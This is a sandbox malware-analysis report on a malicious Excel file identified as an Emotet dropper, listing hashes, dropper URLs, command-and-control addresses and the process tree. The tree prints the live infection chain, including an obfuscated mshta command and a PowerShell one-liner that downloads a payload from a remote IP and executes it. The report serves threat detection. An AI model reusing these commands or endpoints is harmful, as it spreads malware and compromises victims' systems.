Analysis

  • max time kernel
    159s
  • max time network
    173s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 03:22

General

  • Target

    tmpl9euth97.xls

  • Size

    36KB

  • MD5

    9342a9c854c12a09411baabd5419f678

  • SHA1

    e0667f1e6915aff11ba4f959c3a3a1c60688be07

  • SHA256

    318929b7f9ae310674e0ec0a095f9ea1866f4c439e056b5b67e7d8d84e019fd5

  • SHA512

    62585e264a5a26722e6aed155656bbfcf05e72ab3eb6f0992e2b6bedd7ca2f15a3ab98f17fb64dd56973594c5e8b3d36fd662e03248e2680be7ce2145d2f6e3e

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpl9euth97.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1916
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:940
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/oo/aa/se.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:840
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1936
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1724
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1600
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uxwregstdosrwlv\nbxytrqp.jgv",kYWbcKjHVwnxYhX
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:544
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uxwregstdosrwlv\nbxytrqp.jgv",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1124

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • \ProgramData\QWER.dll
    MD5

    1fd4499e393eb2bae9ff1d58d4669c06

    SHA1

    dfa462ad52abf4edcc904edc3943e1573905bcbd

    SHA256

    a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa

    SHA512

    8a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663

  • memory/544-91-0x00000000001C0000-0x00000000001E7000-memory.dmp
    Filesize

    156KB

  • memory/840-61-0x00000000025B0000-0x00000000031FA000-memory.dmp
    Filesize

    12.3MB

  • memory/840-62-0x00000000025B0000-0x00000000031FA000-memory.dmp
    Filesize

    12.3MB

  • memory/1124-94-0x0000000000850000-0x0000000000877000-memory.dmp
    Filesize

    156KB

  • memory/1124-96-0x00000000008E0000-0x0000000000907000-memory.dmp
    Filesize

    156KB

  • memory/1124-112-0x0000000002AF1000-0x0000000002B14000-memory.dmp
    Filesize

    140KB

  • memory/1124-113-0x0000000002AF0000-0x0000000002B17000-memory.dmp
    Filesize

    156KB

  • memory/1124-110-0x0000000002A90000-0x0000000002AB7000-memory.dmp
    Filesize

    156KB

  • memory/1124-108-0x0000000002810000-0x0000000002837000-memory.dmp
    Filesize

    156KB

  • memory/1124-106-0x0000000002730000-0x0000000002757000-memory.dmp
    Filesize

    156KB

  • memory/1124-104-0x00000000024E0000-0x0000000002507000-memory.dmp
    Filesize

    156KB

  • memory/1124-102-0x00000000023B0000-0x00000000023D7000-memory.dmp
    Filesize

    156KB

  • memory/1124-98-0x0000000000AB0000-0x0000000000AD7000-memory.dmp
    Filesize

    156KB

  • memory/1600-80-0x0000000000880000-0x00000000008A7000-memory.dmp
    Filesize

    156KB

  • memory/1600-89-0x0000000002890000-0x00000000028B7000-memory.dmp
    Filesize

    156KB

  • memory/1600-87-0x00000000027D0000-0x00000000027F7000-memory.dmp
    Filesize

    156KB

  • memory/1600-84-0x00000000025D0000-0x00000000025F7000-memory.dmp
    Filesize

    156KB

  • memory/1600-82-0x0000000000B20000-0x0000000000B47000-memory.dmp
    Filesize

    156KB

  • memory/1600-78-0x0000000000820000-0x0000000000847000-memory.dmp
    Filesize

    156KB

  • memory/1600-76-0x0000000000200000-0x0000000000227000-memory.dmp
    Filesize

    156KB

  • memory/1724-69-0x00000000001E0000-0x0000000000207000-memory.dmp
    Filesize

    156KB

  • memory/1916-54-0x000000002F5E1000-0x000000002F5E4000-memory.dmp
    Filesize

    12KB

  • memory/1916-55-0x0000000071121000-0x0000000071123000-memory.dmp
    Filesize

    8KB

  • memory/1916-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1916-57-0x0000000075F21000-0x0000000075F23000-memory.dmp
    Filesize

    8KB

  • memory/1916-114-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB